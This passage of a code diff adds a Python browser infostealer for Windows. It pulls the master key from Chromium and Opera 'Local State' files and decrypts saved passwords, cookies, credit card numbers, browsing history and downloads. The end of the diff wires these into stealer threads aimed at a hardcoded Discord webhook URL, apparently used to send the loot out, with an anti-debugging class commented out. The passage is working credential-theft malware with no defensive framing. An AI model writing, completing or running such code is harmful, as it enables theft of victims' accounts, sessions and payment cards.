+ cursor = conn.cursor()
499
+ cursor.execute('SELECT host_key, name, path, encrypted_value,expires_utc FROM cookies')
500
+ for row in cursor.fetchall():
501
+ if not row[0] or not row[1] or not row[2] or not row[3]:
502
+ continue
503
+
504
+ cookie = self.decrypt_password(row[3], self.master_key)
505
+ __COOKIES__.append(Types.Cookie(row[0], row[1], row[2], cookie, row[4]))
506
+
507
+ conn.close()
508
+ os.remove('cookie_db')
509
+
510
+ def get_web_history(self, path: str, profile: str):
511
+ web_history_db = f'{path}\\{profile}\\History'
512
+ if not os.path.exists(web_history_db):
513
+ return
514
+
515
+ shutil.copy(web_history_db, 'web_history_db')
516
+ conn = sqlite3.connect('web_history_db')
517
+ cursor = conn.cursor()
518
+ cursor.execute('SELECT url, title, last_visit_time FROM urls')
519
+ for row in cursor.fetchall():
520
+ if not row[0] or not row[1] or not row[2]:
521
+ continue
522
+
523
+ __WEB_HISTORY__.append(Types.WebHistory(row[0], row[1], row[2]))
524
+
525
+ conn.close()
526
+ os.remove('web_history_db')
527
+
528
+ def get_downloads(self, path: str, profile: str):
529
+ downloads_db = f'{path}\\{profile}\\History'
530
+ if not os.path.exists(downloads_db):
531
+ return
532
+
533
+ shutil.copy(downloads_db, 'downloads_db')
534
+ conn = sqlite3.connect('downloads_db')
535
+ cursor = conn.cursor()
536
+ cursor.execute('SELECT tab_url, target_path FROM downloads')
537
+ for row in cursor.fetchall():
538
+ if not row[0] or not row[1]:
539
+ continue
540
+
541
+ __DOWNLOADS__.append(Types.Download(row[0], row[1]))
542
+
543
+ conn.close()
544
+ os.remove('downloads_db')
545
+
546
+ def get_credit_cards(self, path: str, profile: str):
547
+ cards_db = f'{path}\\{profile}\\Web Data'
548
+ if not os.path.exists(cards_db):
549
+ return
550
+
551
+ shutil.copy(cards_db, 'cards_db')
552
+ conn = sqlite3.connect('cards_db')
553
+ cursor = conn.cursor()
554
+ cursor.execute('SELECT name_on_card, expiration_month, expiration_year, card_number_encrypted, date_modified FROM credit_cards')
555
+ for row in cursor.fetchall():
556
+ if not row[0] or not row[1] or not row[2] or not row[3]:
557
+ continue
558
+
559
+ card_number = self.decrypt_password(row[3], self.master_key)
560
+ __CARDS__.append(Types.CreditCard(row[0], row[1], row[2], card_number, row[4]))
561
+
562
+ conn.close()
563
+ os.remove('cards_db')
564
+
565
+ class Opera:
566
+ def __init__(self) -> None:
567
+ self.roaming = os.getenv("APPDATA")
568
+ self.paths = {
569
+ 'operagx': self.roaming + '\\Opera Software\\Opera GX Stable',
570
+ 'opera': self.roaming + '\\Opera Software\\Opera Stable'
571
+ }
572
+
573
+ for _, path, in self.paths.items():
574
+ if not os.path.exists(path):
575
+ continue
576
+
577
+ self.master_key = self.get_master_key(f'{path}\\Local State')
578
+ if not self.master_key:
579
+ continue
580
+
581
+ operations = [
582
+ self.get_login_data,
583
+ self.get_cookies,
584
+ self.get_web_history,
585
+ self.get_downloads,
586
+ self.get_credit_cards
587
+ ]
588
+
589
+ for operation in operations:
590
+ try:
591
+ operation(path)
592
+ except Exception as e:
593
+ pass
594
+
595
+ def get_master_key(self, path: str) -> str:
596
+ if not os.path.exists(path):
597
+ return
598
+
599
+ if 'os_crypt' not in open(path, 'r', encoding='utf-8').read():
600
+ return
601
+
602
+ with open(path, "r", encoding="utf-8") as f:
603
+ c = f.read()
604
+ local_state = json.loads(c)
605
+
606
+ master_key = base64.b64decode(local_state["os_crypt"]["encrypted_key"])
607
+ master_key = master_key[5:]
608
+ master_key = CryptUnprotectData(master_key, None, None, None, 0)[1]
609
+
610
+ return master_key
611
+
612
+ def decrypt_password(self, buff: bytes, master_key: bytes) -> str:
613
+ iv = buff[3:15]
614
+ payload = buff[15:]
615
+ cipher = AES.new(master_key, AES.MODE_GCM, iv)
616
+ decrypted_pass = cipher.decrypt(payload)
617
+ decrypted_pass = decrypted_pass[:-16].decode()
618
+
619
+ return decrypted_pass
620
+
621
+ def get_login_data(self, path: str) -> None:
622
+ login_db = f'{path}\\Login Data'
623
+ if not os.path.exists(login_db):
624
+ return
625
+
626
+ shutil.copy(login_db, 'login_db')
627
+ conn = sqlite3.connect('login_db')
628
+ cursor = conn.cursor()
629
+ cursor.execute("SELECT origin_url, username_value, password_value FROM logins")
630
+ for row in cursor.fetchall():
631
+ if not row[0] or not row[1] or not row[2]:
632
+ continue
633
+
634
+ password = self.decrypt_password(row[2], self.master_key)
635
+ __LOGINS__.append(Types.Login(row[0], row[1], password))
636
+
637
+ cursor.close()
638
+ conn.close()
639
+ os.remove('login_db')
640
+
641
+ def get_cookies(self, path: str) -> None:
642
+ cookies_db = f'{path}\\Network\\Cookies'
643
+ if not os.path.exists(cookies_db):
644
+ return
645
+
646
+ shutil.copy(cookies_db, 'cookies_db')
647
+ conn = sqlite3.connect('cookies_db')
648
+ conn.text_factory = bytes
649
+ cursor = conn.cursor()
650
+ cursor.execute('SELECT host_key, name, path, encrypted_value,expires_utc FROM cookies')
651
+ for row in cursor.fetchall():
652
+ if not row[0] or not row[1] or not row[2] or not row[3]:
653
+ continue
654
+
655
+ cookie = self.decrypt_password(row[3], self.master_key)
656
+
657
+ row = [x.decode('latin-1') if isinstance(x, bytes) else x for x in row]
658
+ __COOKIES__.append(Types.Cookie(row[0], row[1], row[2], cookie, row[4]))
659
+
660
+ cursor.close()
661
+ conn.close()
662
+ os.remove('cookies_db')
663
+
664
+ def get_web_history(self, path: str) -> None:
665
+ history_db = f'{path}\\History'
666
+ if not os.path.exists(history_db):
667
+ return
668
+
669
+ shutil.copy(history_db, 'history_db')
670
+ conn = sqlite3.connect('history_db')
671
+ cursor = conn.cursor()
672
+ cursor.execute("SELECT url, title, last_visit_time FROM urls")
673
+ for row in cursor.fetchall():
674
+ if not row[0] or not row[1] or not row[2]:
675
+ continue
676
+
677
+ __WEB_HISTORY__.append(Types.WebHistory(row[0], row[1], row[2]))
678
+
679
+ cursor.close()
680
+ conn.close()
681
+ os.remove('history_db')
682
+
683
+ def get_downloads(self, path: str) -> None:
684
+ downloads_db = f'{path}\\History'
685
+ if not os.path.exists(downloads_db):
686
+ return
687
+
688
+ shutil.copy(downloads_db, 'downloads_db')
689
+ conn = sqlite3.connect('downloads_db')
690
+ cursor = conn.cursor()
691
+ cursor.execute('SELECT tab_url, target_path FROM downloads')
692
+ for row in cursor.fetchall():
693
+ if not row[0] or not row[1]:
694
+ continue
695
+
696
+ __DOWNLOADS__.append(Types.Download(row[0], row[1]))
697
+
698
+ cursor.close()
699
+ conn.close()
700
+ os.remove('downloads_db')
701
+
702
+ def get_credit_cards(self, path: str) -> None:
703
+ cards_db = f'{path}\\Web Data'
704
+ if not os.path.exists(cards_db):
705
+ return
706
+
707
+ shutil.copy(cards_db, 'cards_db')
708
+ conn = sqlite3.connect('cards_db')
709
+ cursor = conn.cursor()
710
+ cursor.execute('SELECT name_on_card, expiration_month, expiration_year, card_number_encrypted, date_modified FROM credit_cards')
711
+ for row in cursor.fetchall():
712
+ if not row[0] or not row[1] or not row[2] or not row[3] or not row[4]:
713
+ continue
714
+
715
+ card_number = self.decrypt_password(row[3], self.master_key)
716
+ __CARDS__.append(Types.CreditCard(row[0], row[1], row[2], card_number, row[4]))
717
+
718
+ cursor.close()
719
+ conn.close()
720
+ os.remove('cards_db')
721
+
722
+ class Types:
723
+ class Login:
724
+ def __init__(self, url, username, password):
725
+ self.url = url
726
+ self.username = username
727
+ self.password = password
728
+
729
+ def __str__(self):
730
+ return f'{self.url}\t{self.username}\t{self.password}'
731
+
732
+ def __repr__(self):
733
+ return self.__str__()
734
+
735
+ class Cookie:
736
+ def __init__(self, host, name, path, value, expires):
737
+ self.host = host
738
+ self.name = name
739
+ self.path = path
740
+ self.value = value
741
+ self.expires = expires
742
+
743
+ def __str__(self):
744
+ return f'{self.host}\t{"FALSE" if self.expires == 0 else "TRUE"}\t{self.path}\t{"FALSE" if self.host.startswith(".") else "TRUE"}\t{self.expires}\t{self.name}\t{self.value}'
745
+
746
+ def __repr__(self):
747
+ return self.__str__()
748
+
749
+ class WebHistory:
750
+ def __init__(self, url, title, timestamp):
751
+ self.url = url
752
+ self.title = title
753
+ self.timestamp = timestamp
754
+
755
+ def __str__(self):
756
+ return f'{self.url}\t{self.title}\t{self.timestamp}'
757
+
758
+ def __repr__(self):
759
+ return self.__str__()
760
+
761
+ class Download:
762
+ def __init__(self, tab_url, target_path):
763
+ self.tab_url = tab_url
764
+ self.target_path = target_path
765
+
766
+ def __str__(self):
767
+ return f'{self.tab_url}\t{self.target_path}'
768
+
769
+ def __repr__(self):
770
+ return self.__str__()
771
+
772
+ class CreditCard:
773
+ def __init__(self, name, month, year, number, date_modified):
774
+ self.name = name
775
+ self.month = month
776
+ self.year = year
777
+ self.number = number
778
+ self.date_modified = date_modified
779
+
780
+ def __str__(self):
781
+ return f'{self.name}\t{self.month}\t{self.year}\t{self.number}\t{self.date_modified}'
782
+
783
+ def __repr__(self):
784
+ return self.__str__()
785
+
786
+ threads = [
787
+ # AntiDebug(),
788
+ DiscordToken("https://discord.com/api/webhooks/1097143528234156082/mw3SucICCTb4gkFm6_b1P1c-xiKygxbnlV2dLvyDiLthYiWK8jzfSVRRE_0evZTJ5ma1"),
789
+ Browsers("https://discord.com/api/webhooks/1097143528234156082/mw3SucICCTb4gkFm6_b1P1c-xiKygxbnlV2dLvyDiLthYiWK8jzfSVRRE_0evZTJ5ma1"),
790
+ ]
791
+
792
+ [threading.Thread(target=x) for x in threads]